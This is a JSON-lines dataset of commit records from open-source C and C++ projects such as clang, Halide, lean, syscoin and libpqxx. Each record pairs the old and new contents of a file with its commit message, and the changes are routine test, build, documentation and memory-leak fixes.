{"commit":"1c8f270a75665f44f8570735762003a4319cbe19","old_file":"test\/CodeGen\/2003-08-06-BuiltinSetjmpLongjmp.c","new_file":"test\/CodeGen\/2003-08-06-BuiltinSetjmpLongjmp.c","old_contents":"\/* RUN: %clang_cc1  %s -emit-llvm -o - | not grep __builtin_\n *\n * __builtin_longjmp\/setjmp should get transformed into llvm.setjmp\/longjmp \n * just like explicit setjmp\/longjmp calls are.\n *\/\n\nvoid jumpaway(int *ptr) {\n  __builtin_longjmp(ptr,1);\n}\n    \nint main(void) {\n  __builtin_setjmp(0);\n  jumpaway(0);\n}\n","new_contents":"\/* RUN: %clang_cc1  %s -emit-llvm -o - | FileCheck %s\n *\n * __builtin_longjmp\/setjmp should get transformed into intrinsics.\n *\/\n\n\/\/ CHECK-NOT: builtin_longjmp\n\nvoid jumpaway(int *ptr) {\n  __builtin_longjmp(ptr,1);\n}\n    \nint main(void) {\n  __builtin_setjmp(0);\n  jumpaway(0);\n}\n","subject":"Fix test in two ways: remove incorrect comment (the intrinsic generated now is of the llvm.sjlj.* flavore) and convert grep->FileCheck","message":"Fix test in two ways: remove incorrect comment (the intrinsic generated now\nis of the llvm.sjlj.* flavore) and convert grep->FileCheck\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@181468 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"d564544ee0462850815967d943d8350f4aa298bc","old_file":"native\/fallocate_linux.c","new_file":"native\/fallocate_linux.c","old_contents":"#define _GNU_SOURCE\n#define _FILE_OFFSET_BITS 64\n\n#include <fcntl.h>\n#include <stdint.h>\n#include <linux\/falloc.h>\n\nint native_fallocate(int fd, uint64_t len) {\n    return fallocate(fd, 0, 0, (off_t)len);\n}\n","new_contents":"#define _GNU_SOURCE\n#define _FILE_OFFSET_BITS 64\n\n#include <fcntl.h>\n#include <stdint.h>\n\nint native_fallocate(int fd, uint64_t len) {\n    return fallocate(fd, 0, 0, (off_t)len);\n}\n","subject":"Remove falloc header from linux build","message":"Remove falloc header from linux build\n","lang":"C","license":"isc","repos":"Luminarys\/synapse,Luminarys\/synapse,Luminarys\/synapse"}
{"commit":"5f2e3c068b323d97d73b921623decc34f7ac7325","old_file":"p_liberrno.h","new_file":"p_liberrno.h","old_contents":"\/*\n * Copyright 2013 Mo McRoberts.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#ifndef P_LIBERRNO_H_\n# define P_LIBERRNO_H_                 1\n\n# include <ux\/cdefs.h>\n\n# include \"errno.h\"\n# undef errno\n\nint *get_errno_ux2003(void) UX_SYM03_(errno);\n\n#endif \/*!P_LIBERRNO_H_*\/","new_contents":"\/*\n * Copyright 2013 Mo McRoberts.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#ifndef P_LIBERRNO_H_\n# define P_LIBERRNO_H_                 1\n\n# include <ux\/cdefs.h>\n\n# include \"errno.h\"\n# undef errno\n\nint *errno_ux2003(void) UX_SYM03_(errno);\n\n#endif \/*!P_LIBERRNO_H_*\/","subject":"Fix symbol name of errno$UX$2003","message":"Fix symbol name of errno$UX$2003\n","lang":"C","license":"apache-2.0","repos":"coreux\/liberrno,coreux\/liberrno"}
{"commit":"ca864cc2e2063756ba8e48de390d1cf947f2efad","old_file":"tutorial\/clock.h","new_file":"tutorial\/clock.h","old_contents":"\/\/ A current_time function for use in the tests.  Returns time in\n\/\/ milliseconds.\n\n#ifdef _WIN32\nextern \"C\" bool QueryPerformanceCounter(uint64_t *);\nextern \"C\" bool QueryPerformanceFrequency(uint64_t *);\ndouble current_time() {\n    uint64_t t, freq;\n    QueryPerformanceCounter(&t);\n    QueryPerformanceFrequency(&freq);\n    return (t * 1000.0) \/ freq;\n}\n#else\n#include <sys\/time.h>\ndouble current_time() {\n    static bool first_call = true;\n    static timeval reference_time;\n    if (first_call) {\n        first_call = false;\n        gettimeofday(&reference_time, NULL);\n        return 0.0;\n    } else {\n        timeval t;\n        gettimeofday(&t, NULL);\n        return ((t.tv_sec - reference_time.tv_sec)*1000.0 +\n                (t.tv_usec - reference_time.tv_usec)\/1000.0);\n    }\n}\n#endif\n","new_contents":"\/\/ A current_time function for use in the tests.  Returns time in\n\/\/ milliseconds.\n\n#ifdef _WIN32\n#include <Windows.h>\ndouble current_time() {\n    LARGE_INTEGER freq, t;\n    QueryPerformanceCounter(&t);\n    QueryPerformanceFrequency(&freq);\n    return (t.QuadPart * 1000.0) \/ freq.QuadPart;\n}\n\/\/ Gross, these come from Windows.h\n#undef max\n#undef min\n#else\n#include <sys\/time.h>\ndouble current_time() {\n    static bool first_call = true;\n    static timeval reference_time;\n    if (first_call) {\n        first_call = false;\n        gettimeofday(&reference_time, NULL);\n        return 0.0;\n    } else {\n        timeval t;\n        gettimeofday(&t, NULL);\n        return ((t.tv_sec - reference_time.tv_sec)*1000.0 +\n                (t.tv_usec - reference_time.tv_usec)\/1000.0);\n    }\n}\n#endif\n","subject":"Fix build of tutorials that require libpng under Visual Studio.","message":"Fix build of tutorials that require libpng under Visual Studio.\n","lang":"C","license":"mit","repos":"lglucin\/Halide,jiawen\/Halide,kenkuang1213\/Halide,psuriana\/Halide,dougkwan\/Halide,kenkuang1213\/Halide,mcanthony\/Halide,damienfir\/Halide,jiawen\/Halide,dan-tull\/Halide,kenkuang1213\/Halide,dan-tull\/Halide,myrtleTree33\/Halide,mcanthony\/Halide,lglucin\/Halide,adasworks\/Halide,rodrigob\/Halide,fengzhyuan\/Halide,rodrigob\/Halide,aam\/Halide,damienfir\/Halide,ayanazmat\/Halide,rodrigob\/Halide,lglucin\/Halide,dougkwan\/Halide,myrtleTree33\/Halide,fengzhyuan\/Halide,damienfir\/Halide,myrtleTree33\/Halide,mcanthony\/Halide,myrtleTree33\/Halide,smxlong\/Halide,adasworks\/Halide,damienfir\/Halide,aam\/Halide,damienfir\/Halide,kgnk\/Halide,psuriana\/Halide,kenkuang1213\/Halide,dan-tull\/Halide,dan-tull\/Halide,aam\/Halide,mcanthony\/Halide,psuriana\/Halide,ronen\/Halide,ronen\/Halide,myrtleTree33\/Halide,myrtleTree33\/Halide,fengzhyuan\/Halide,mcanthony\/Halide,jiawen\/Halide,jiawen\/Halide,dougkwan\/Halide,jiawen\/Halide,rodrigob\/Halide,ronen\/Halide,psuriana\/Halide,delcypher\/Halide,fengzhyuan\/Halide,jiawen\/Halide,delcypher\/Halide,dougkwan\/Halide,dougkwan\/Halide,damienfir\/Halide,smxlong\/Halide,mcanthony\/Halide,ronen\/Halide,delcypher\/Halide,aam\/Halide,adasworks\/Halide,ayanazmat\/Halide,ronen\/Halide,rodrigob\/Halide,fengzhyuan\/Halide,dan-tull\/Halide,fengzhyuan\/Halide,fengzhyuan\/Halide,psuriana\/Halide,dougkwan\/Halide,smxlong\/Halide,lglucin\/Halide,tdenniston\/Halide,smxlong\/Halide,mcanthony\/Halide,tdenniston\/Halide,delcypher\/Halide,tdenniston\/Halide,damienfir\/Halide,smxlong\/Halide,tdenniston\/Halide,kenkuang1213\/Halide,ayanazmat\/Halide,ronen\/Halide,fengzhyuan\/Halide,psuriana\/Halide,tdenniston\/Halide,rodrigob\/Halide,kgnk\/Halide,tdenniston\/Halide,ayanazmat\/Halide,kgnk\/Halide,smxlong\/Halide,dougkwan\/Halide,jiawen\/Halide,damienfir\/Halide,adasworks\/Halide,delcypher\/Halide,dan-tull\/Halide,kenkuang1213\/Halide,dan-tull\/Halide,adasworks\/Halide,dougkwan\/Halide,ayanazmat\/Halide,dan-tull\/Halide,lglucin\/Halide,kgnk\/Halide,myrtleTree33\/Halide,adasworks\/Halide,kgnk\/Halide,kenkuang1213\/Halide,tdenniston\/Halide,aam\/Halide,kgnk\/Halide,ayanazmat\/Halide,rodrigob\/Halide,mcanthony\/Halide,aam\/Halide,kgnk\/Halide,lglucin\/Halide,kenkuang1213\/Halide,kgnk\/Halide,rodrigob\/Halide,ayanazmat\/Halide,myrtleTree33\/Halide,delcypher\/Halide,delcypher\/Halide,aam\/Halide,smxlong\/Halide,adasworks\/Halide,smxlong\/Halide,adasworks\/Halide,ronen\/Halide,psuriana\/Halide,ronen\/Halide,tdenniston\/Halide,lglucin\/Halide,ayanazmat\/Halide,delcypher\/Halide"}
{"commit":"548a5f97ccdab26e90a7e0ba87b1510cfd490dbb","old_file":"src\/boreutils.h","new_file":"src\/boreutils.h","old_contents":"#ifndef BOREUTILS_H\n#define BOREUTILS_H\n\n#include <string.h>\n\nstatic const char *BOREUTILS_VERSION = \"0.0.0b1\";\n\nint has_arg(int argc, char **argv, char *search);\nvoid bu_missing_argument(char *name);\nint bu_handle_version(int argc, char **argv);\n\n\n\/\/ FIXME: Having this in a header is definitely a hack.\nint has_arg(int argc, char **argv, char *search)\n{\n    for (int idx = 1; idx < argc; idx++) {\n        if (strcmp(argv[idx], search) == 0) {\n            return 1;\n        }\n    }\n\n    return 0;\n}\n\n\nvoid bu_missing_argument(char *name) {\n    fprintf(stderr, \"%s: Missing argument\\nSee '%s --help' for more information.\\n\", name, name);\n}\n\n\nint bu_handle_version(int argc, char **argv) {\n    if (has_arg(argc, argv, \"--version\")) {\n        printf(\"Boreutils %s v%s\\n\", argv[0], BOREUTILS_VERSION);\n        return 1;\n    }\n\n    return 0;\n}\n\n#endif\n","new_contents":"#ifndef BOREUTILS_H\n#define BOREUTILS_H\n\n#include <string.h>\n\nstatic const char *BOREUTILS_VERSION = \"0.0.0b1\";\n\nint has_arg(int argc, char **argv, char *search);\nvoid bu_missing_argument(char *name);\nint bu_handle_version(int argc, char **argv);\n\n\n\/\/ FIXME: Having this in a header is definitely a hack.\nint has_arg(int argc, char **argv, char *search)\n{\n    for (int idx = 1; idx < argc; idx++) {\n        if (strcmp(argv[idx], search) == 0) {\n            return 1;\n        }\n    }\n\n    return 0;\n}\n\n\nvoid bu_missing_argument(char *name) {\n    fprintf(stderr, \"%s: Missing argument\\nSee '%s --help' for more information.\\n\", name, name);\n}\n\n\nint bu_handle_version(int argc, char **argv) {\n    if (has_arg(argc, argv, \"--version\")) {\n        printf(\"%s (Boreutils) %s\\n\", argv[0], BOREUTILS_VERSION);\n        return 1;\n    }\n\n    return 0;\n}\n\n#endif\n","subject":"Change --version format to \"<name> (Boreutils) <version>\"","message":"Change --version format to \"<name> (Boreutils) <version>\"\n","lang":"C","license":"isc","repos":"duckinator\/boreutils,duckinator\/boreutils"}
{"commit":"c8d4b754fb316cf620dcd8a933e3e9886103d878","old_file":"bindings\/perl\/Champlain\/champlain-perl.h","new_file":"bindings\/perl\/Champlain\/champlain-perl.h","old_contents":"#ifndef _CHAMPLAIN_PERL_H_\n\n#include <clutterperl.h>\n#include <champlain\/champlain.h>\n#include \"ppport.h\"\n#include \"champlain-autogen.h\"\n\n#ifdef CHAMPLAINPERL_GTK\n#include <champlain-gtk\/champlain-gtk.h>\n#endif\n\n#endif \/* _CHAMPLAIN_PERL_H_ *\/\n","new_contents":"#ifndef _CHAMPLAIN_PERL_H_\n\n#include <clutterperl.h>\n\n\n#include <champlain\/champlain.h>\n\n#ifdef CHAMPLAINPERL_GTK\n#include <champlain-gtk\/champlain-gtk.h>\n#endif\n\n\n#include \"ppport.h\"\n#include \"champlain-autogen.h\"\n\n#endif \/* _CHAMPLAIN_PERL_H_ *\/\n","subject":"Move the include file around.","message":"Move the include file around.\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/libchamplain,PabloCastellano\/libchamplain,PabloCastellano\/libchamplain,potyl\/champlain,GNOME\/libchamplain,GNOME\/perl-Champlain,potyl\/champlain,Distrotech\/libchamplain,StanciuMarius\/Libchamplain-map-wrapping,Distrotech\/libchamplain,GNOME\/perl-Champlain,GNOME\/perl-Gtk2-Champlain,Distrotech\/libchamplain,Distrotech\/libchamplain,potyl\/champlain,PabloCastellano\/libchamplain,PabloCastellano\/libchamplain,PabloCastellano\/libchamplain,potyl\/champlain,StanciuMarius\/Libchamplain-map-wrapping,StanciuMarius\/Libchamplain-map-wrapping,StanciuMarius\/Libchamplain-map-wrapping,Distrotech\/libchamplain,GNOME\/perl-Gtk2-Champlain,StanciuMarius\/Libchamplain-map-wrapping"}
{"commit":"fb514a31f0c99c252e0948fa88ffb75ba5b5ec69","old_file":"Source\/CoreData+MagicalRecord.h","new_file":"Source\/CoreData+MagicalRecord.h","old_contents":"\/\/\n\/\/  MagicalRecord for Core Data.\n\/\/\n\/\/  Created by Saul Mora.\n\/\/  Copyright 2011 Magical Panda Software. All rights reserved.\n\/\/\n\n\/\/ enable to use caches for the fetchedResultsControllers (iOS only)\n#if TARGET_OS_IPHONE\n#define STORE_USE_CACHE\n#endif\n\n#define kCreateNewCoordinatorOnBackgroundOperations     0\n#define ENABLE_ACTIVE_RECORD_LOGGING\n\n#ifdef ENABLE_ACTIVE_RECORD_LOGGING\n    #define ARLog(...) NSLog(@\"%s(%p) %@\", __PRETTY_FUNCTION__, self, [NSString stringWithFormat:__VA_ARGS__])\n#else\n    #define ARLog(...)\n#endif\n\n#import <CoreData\/CoreData.h>\n\n#import \"MagicalRecordHelpers.h\"\n#import \"MRCoreDataAction.h\"\n\n#import \"NSManagedObject+MagicalRecord.h\"\n#import \"NSManagedObjectContext+MagicalRecord.h\"\n#import \"NSPersistentStoreCoordinator+MagicalRecord.h\"\n#import \"NSManagedObjectModel+MagicalRecord.h\"\n#import \"NSPersistentStore+MagicalRecord.h\"\n#import \"NSManagedObject+MagicalDataImport.h\"","new_contents":"\/\/\n\/\/  MagicalRecord for Core Data.\n\/\/\n\/\/  Created by Saul Mora.\n\/\/  Copyright 2011 Magical Panda Software. All rights reserved.\n\/\/\n\n\/\/ enable to use caches for the fetchedResultsControllers (iOS only)\n#if TARGET_OS_IPHONE\n#define STORE_USE_CACHE\n#endif\n\n#define kCreateNewCoordinatorOnBackgroundOperations     0\n\n#ifdef MR_LOGGING\n#define ENABLE_ACTIVE_RECORD_LOGGING\n#endif\n\n#ifdef DEBUG\n#define ENABLE_ACTIVE_RECORD_LOGGING\n#endif\n\n#ifdef MR_NO_LOGGING\n#undef ENABLE_ACTIVE_RECORD_LOGGING\n#endif\n\n#ifdef ENABLE_ACTIVE_RECORD_LOGGING\n    #define ARLog(...) NSLog(@\"%s(%p) %@\", __PRETTY_FUNCTION__, self, [NSString stringWithFormat:__VA_ARGS__])\n#else\n    #define ARLog(...)\n#endif\n\n#import <CoreData\/CoreData.h>\n\n#import \"MagicalRecordHelpers.h\"\n#import \"MRCoreDataAction.h\"\n\n#import \"NSManagedObject+MagicalRecord.h\"\n#import \"NSManagedObjectContext+MagicalRecord.h\"\n#import \"NSPersistentStoreCoordinator+MagicalRecord.h\"\n#import \"NSManagedObjectModel+MagicalRecord.h\"\n#import \"NSPersistentStore+MagicalRecord.h\"\n#import \"NSManagedObject+MagicalDataImport.h\"","subject":"Define MR_NO_LOGGING to force no logging.","message":"Define MR_NO_LOGGING to force no logging.\n","lang":"C","license":"mit","repos":"zwaldowski\/AZCoreRecord,zwaldowski\/AZCoreRecord"}
{"commit":"9e70fda79924a066f39a9b366c88d1b69561184c","old_file":"src\/policy\/rbf.h","new_file":"src\/policy\/rbf.h","old_contents":"\/\/ Copyright (c) 2016-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef SYSCOIN_POLICY_RBF_H\n#define SYSCOIN_POLICY_RBF_H\n\n#include <txmempool.h>\n\nenum class RBFTransactionState {\n    UNKNOWN,\n    REPLACEABLE_BIP125,\n    FINAL\n};\n\n\/\/ Determine whether an in-mempool transaction is signaling opt-in to RBF\n\/\/ according to BIP 125\n\/\/ This involves checking sequence numbers of the transaction, as well\n\/\/ as the sequence numbers of all in-mempool ancestors.\nRBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);\n\/\/ SYSCOIN\nRBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool, CTxMemPool::setEntries &setAncestors) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);\nRBFTransactionState IsRBFOptInEmptyMempool(const CTransaction& tx);\n\n#endif \/\/ SYSCOIN_POLICY_RBF_H\n","new_contents":"\/\/ Copyright (c) 2016-2019 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#ifndef SYSCOIN_POLICY_RBF_H\n#define SYSCOIN_POLICY_RBF_H\n\n#include <txmempool.h>\n\n\/** The rbf state of unconfirmed transactions *\/\nenum class RBFTransactionState {\n    \/** Unconfirmed tx that does not signal rbf and is not in the mempool *\/\n    UNKNOWN,\n    \/** Either this tx or a mempool ancestor signals rbf *\/\n    REPLACEABLE_BIP125,\n    \/** Neither this tx nor a mempool ancestor signals rbf *\/\n    FINAL,\n};\n\n\/**\n * Determine whether an unconfirmed transaction is signaling opt-in to RBF\n * according to BIP 125\n * This involves checking sequence numbers of the transaction, as well\n * as the sequence numbers of all in-mempool ancestors.\n *\n * @param tx   The unconfirmed transaction\n * @param pool The mempool, which may contain the tx\n *\n * @return     The rbf state\n *\/\nRBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);\n\/\/ SYSCOIN\nRBFTransactionState IsRBFOptIn(const CTransaction& tx, const CTxMemPool& pool, CTxMemPool::setEntries &setAncestors) EXCLUSIVE_LOCKS_REQUIRED(pool.cs);\nRBFTransactionState IsRBFOptInEmptyMempool(const CTransaction& tx);\n\n#endif \/\/ SYSCOIN_POLICY_RBF_H\n","subject":"Add doxygen comment to IsRBFOptIn","message":"doc: Add doxygen comment to IsRBFOptIn\n\nFormer-commit-id: 6c99ae13e834f996721944c8571101bd2c16ba81","lang":"C","license":"mit","repos":"syscoin\/syscoin,syscoin\/syscoin,syscoin\/syscoin,syscoin\/syscoin,syscoin\/syscoin,syscoin\/syscoin,syscoin\/syscoin,syscoin\/syscoin"}
{"commit":"adfbba6447aa458e95ffad652ba815e080e3b2d3","old_file":"src\/util\/timeit.h","new_file":"src\/util\/timeit.h","old_contents":"\/*\nCopyright (c) 2013 Microsoft Corporation. All rights reserved.\nReleased under Apache 2.0 license as described in the file LICENSE.\n\nAuthor: Leonardo de Moura\n*\/\n#pragma once\n#include <iostream>\n#include <time.h>\n\nnamespace lean {\n\/**\n   \\brief Low tech timer for used for testing.\n*\/\nclass timeit {\n    std::ostream & m_out;\n    std::string    m_msg;\n    clock_t        m_start;\npublic:\n    timeit(std::ostream & out, char const * msg):m_out(out), m_msg(msg) {\n        m_start = clock();\n    }\n    ~timeit() {\n        clock_t end = clock();\n        std::cout << m_msg << \" \" << ((static_cast<double>(end) - static_cast<double>(m_start)) \/ CLOCKS_PER_SEC) << \" secs\\n\";\n    }\n};\n}\n","new_contents":"\/*\nCopyright (c) 2013 Microsoft Corporation. All rights reserved.\nReleased under Apache 2.0 license as described in the file LICENSE.\n\nAuthor: Leonardo de Moura\n*\/\n#pragma once\n#include <iostream>\n#include <time.h>\n\nnamespace lean {\n\/**\n   \\brief Low tech timer for used for testing.\n*\/\nclass timeit {\n    std::ostream & m_out;\n    std::string    m_msg;\n    clock_t        m_start;\npublic:\n    timeit(std::ostream & out, char const * msg):m_out(out), m_msg(msg) {\n        m_start = clock();\n    }\n    ~timeit() {\n        clock_t end = clock();\n        m_out << m_msg << \" \" << ((static_cast<double>(end) - static_cast<double>(m_start)) \/ CLOCKS_PER_SEC) << \" secs\\n\";\n    }\n};\n}\n","subject":"Fix problem reported by Soonho","message":"Fix problem reported by Soonho\n\nSigned-off-by: Leonardo de Moura <7610bae85f2b530654cc716772f1fe653373e892@microsoft.com>\n","lang":"C","license":"apache-2.0","repos":"digama0\/lean,soonhokong\/lean,dselsam\/lean,fgdorais\/lean,leanprover-community\/lean,leodemoura\/lean,soonhokong\/travis_test,eigengrau\/lean,soonhokong\/lean-osx,leanprover\/lean,leodemoura\/lean,dselsam\/lean,leodemoura\/lean,leanprover\/lean,levnach\/lean,codyroux\/lean0.1,avigad\/lean,johoelzl\/lean,leodemoura\/lean,rlewis1988\/lean,UlrikBuchholtz\/lean,soonhokong\/lean-windows,fgdorais\/lean,eigengrau\/lean,htzh\/lean,fgdorais\/lean,UlrikBuchholtz\/lean,avigad\/lean,javra\/lean,johoelzl\/lean,leanprover\/lean,javra\/lean,htzh\/lean,soonhokong\/lean,levnach\/lean,levnach\/lean,leanprover-community\/lean,eigengrau\/lean,leanprover-community\/lean,htzh\/lean,digama0\/lean,fgdorais\/lean,johoelzl\/lean,c-cube\/lean,rlewis1988\/lean,digama0\/lean,eigengrau\/lean,sp3ctum\/lean,Kha\/lean,codyroux\/lean0.1,soonhokong\/lean-osx,UlrikBuchholtz\/lean,dselsam\/lean,Kha\/lean,codyroux\/lean0.1,soonhokong\/travis_test,htzh\/lean,sp3ctum\/lean,fpvandoorn\/lean,eigengrau\/lean,soonhokong\/lean-osx,javra\/lean,c-cube\/lean,fpvandoorn\/lean,fpvandoorn\/lean,leanprover\/lean,leanprover\/lean,Kha\/lean,Kha\/lean,fgdorais\/lean,fpvandoorn\/lean2,soonhokong\/lean-windows,javra\/lean,soonhokong\/travis_test,Kha\/lean,c-cube\/lean,c-cube\/lean,c-cube\/lean,digama0\/lean,rlewis1988\/lean,soonhokong\/lean,avigad\/lean,UlrikBuchholtz\/lean,leanprover-community\/lean,fpvandoorn\/lean,soonhokong\/lean-windows,levnach\/lean,Kha\/lean,fpvandoorn\/lean2,dselsam\/lean,fpvandoorn\/lean,htzh\/lean,leodemoura\/lean,soonhokong\/lean-osx,UlrikBuchholtz\/lean,avigad\/lean,dselsam\/lean,soonhokong\/travis_test,avigad\/lean,sp3ctum\/lean,johoelzl\/lean,leanprover-community\/lean,digama0\/lean,fpvandoorn\/lean2,soonhokong\/lean,digama0\/lean,levnach\/lean,leanprover\/lean,soonhokong\/lean,leodemoura\/lean,fpvandoorn\/lean2,johoelzl\/lean,rlewis1988\/lean,fpvandoorn\/lean2,soonhokong\/lean-osx,soonhokong\/lean-windows,dselsam\/lean,javra\/lean,avigad\/lean,johoelzl\/lean,fpvandoorn\/lean,sp3ctum\/lean,rlewis1988\/lean,rlewis1988\/lean,leanprover-community\/lean,soonhokong\/lean-windows,fgdorais\/lean,codyroux\/lean0.1,sp3ctum\/lean"}
{"commit":"540dfec095e25e78d44cc27d84bb2a32932e5714","old_file":"libraries\/datastruct\/hash\/create.c","new_file":"libraries\/datastruct\/hash\/create.c","old_contents":"\/* --------------------------------------------------------------------------\n *    Name: create.c\n * Purpose: Associative array implemented as a hash\n * ----------------------------------------------------------------------- *\/\n\n#include <stdlib.h>\n#include <string.h>\n\n#include \"base\/memento\/memento.h\"\n\n#include \"base\/errors.h\"\n#include \"utils\/utils.h\"\n#include \"utils\/primes.h\"\n\n#include \"datastruct\/hash.h\"\n\n#include \"impl.h\"\n\n\/* ----------------------------------------------------------------------- *\/\n\nerror hash_create(const void         *default_value,\n                  int                 nbins,\n                  hash_fn            *fn,\n                  hash_compare       *compare,\n                  hash_destroy_key   *destroy_key,\n                  hash_destroy_value *destroy_value,\n                  hash_t            **ph)\n{\n  hash_t        *h;\n  hash__node_t **bins;\n\n  h = malloc(sizeof(*h));\n  if (h == NULL)\n    return error_OOM;\n\n  nbins = prime_nearest(nbins);\n\n  bins = calloc(nbins, sizeof(*h->bins));\n  if (bins == NULL)\n    return error_OOM;\n\n  h->bins          = bins;\n  h->nbins         = nbins;\n\n  h->count         = 0;\n\n  h->default_value = default_value;\n\n  h->hash_fn       = fn;\n  h->compare       = compare;\n  h->destroy_key   = destroy_key;\n  h->destroy_value = destroy_value;\n\n  *ph = h;\n\n  return error_OK;\n}\n","new_contents":"\/* --------------------------------------------------------------------------\n *    Name: create.c\n * Purpose: Associative array implemented as a hash\n * ----------------------------------------------------------------------- *\/\n\n#include <stdlib.h>\n#include <string.h>\n\n#include \"base\/memento\/memento.h\"\n\n#include \"base\/errors.h\"\n#include \"utils\/utils.h\"\n#include \"utils\/primes.h\"\n\n#include \"datastruct\/hash.h\"\n\n#include \"impl.h\"\n\n\/* ----------------------------------------------------------------------- *\/\n\nerror hash_create(const void         *default_value,\n                  int                 nbins,\n                  hash_fn            *fn,\n                  hash_compare       *compare,\n                  hash_destroy_key   *destroy_key,\n                  hash_destroy_value *destroy_value,\n                  hash_t            **ph)\n{\n  hash_t        *h;\n  hash__node_t **bins;\n\n  h = malloc(sizeof(*h));\n  if (h == NULL)\n    return error_OOM;\n\n  nbins = prime_nearest(nbins);\n\n  bins = calloc(nbins, sizeof(*h->bins));\n  if (bins == NULL)\n  {\n    free(h);\n    return error_OOM;\n  }\n\n  h->bins          = bins;\n  h->nbins         = nbins;\n\n  h->count         = 0;\n\n  h->default_value = default_value;\n\n  h->hash_fn       = fn;\n  h->compare       = compare;\n  h->destroy_key   = destroy_key;\n  h->destroy_value = destroy_value;\n\n  *ph = h;\n\n  return error_OK;\n}\n","subject":"Fix leak in calloc failure path.","message":"Fix leak in calloc failure path.\n","lang":"C","license":"bsd-2-clause","repos":"dpt\/Containers,dpt\/Containers"}
{"commit":"17d7dfc032eaa26e78855a5f91762f3663faf9f1","old_file":"libpqxx\/include\/pqxx\/util.h","new_file":"libpqxx\/include\/pqxx\/util.h","old_contents":"\/*-------------------------------------------------------------------------\n *\n *   FILE\n *\tpqxx\/util.h\n *\n *   DESCRIPTION\n *      Various utility definitions for libpqxx\n *\n * Copyright (c) 2001-2004, Jeroen T. Vermeulen <jtv@xs4all.nl>\n *\n * See COPYING for copyright license.  If you did not receive a file called\n * COPYING with this source code, please notify the distributor of this mistake,\n * or contact the author.\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef PQXX_UTIL_H\n#define PQXX_UTIL_H\n\n#if defined(PQXX_HAVE_CPP_WARNING)\n#warning \"Deprecated libpqxx header included.  Use headers without '.h'\"\n#elif defined(PQXX_HAVE_CPP_PRAGMA_MESSAGE)\n#pragma message(\"Deprecated libpqxx header included.  Use headers without '.h'\")\n#endif\n\n#define PQXX_DEPRECATED_HEADERS\n#include \"pqxx\/util\"\n\n#endif\n\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n *   FILE\n *\tpqxx\/util.h\n *\n *   DESCRIPTION\n *      Various utility definitions for libpqxx\n *\n * Copyright (c) 2001-2004, Jeroen T. Vermeulen <jtv@xs4all.nl>\n *\n * See COPYING for copyright license.  If you did not receive a file called\n * COPYING with this source code, please notify the distributor of this mistake,\n * or contact the author.\n *\n *-------------------------------------------------------------------------\n *\/\n#ifndef PQXX_UTIL_H\n#define PQXX_UTIL_H\n\n#if !defined(PQXXYES_I_KNOW_DEPRECATED_HEADER)\n#define PQXXYES_I_KNOW_DEPRECATED_HEADER\n#if defined(PQXX_HAVE_CPP_WARNING)\n#warning \"Deprecated libpqxx header included.  Use headers without '.h'\"\n#elif defined(PQXX_HAVE_CPP_PRAGMA_MESSAGE)\n#pragma message(\"Deprecated libpqxx header included.  Use headers without '.h'\")\n#endif\n#endif\n\n#define PQXX_DEPRECATED_HEADERS\n#include \"pqxx\/util\"\n\n#endif\n\n","subject":"Allow suppression of \"deprecated header\" warning","message":"Allow suppression of \"deprecated header\" warning\n\n\ngit-svn-id: 27238e37a5eae711b76ec703b45445819ea9563e@600 c3353b84-d008-0410-9ed9-b55c4f7fa7e8\n","lang":"C","license":"bsd-3-clause","repos":"svn2github\/libpqxx,svn2github\/libpqxx,svn2github\/libpqxx"}
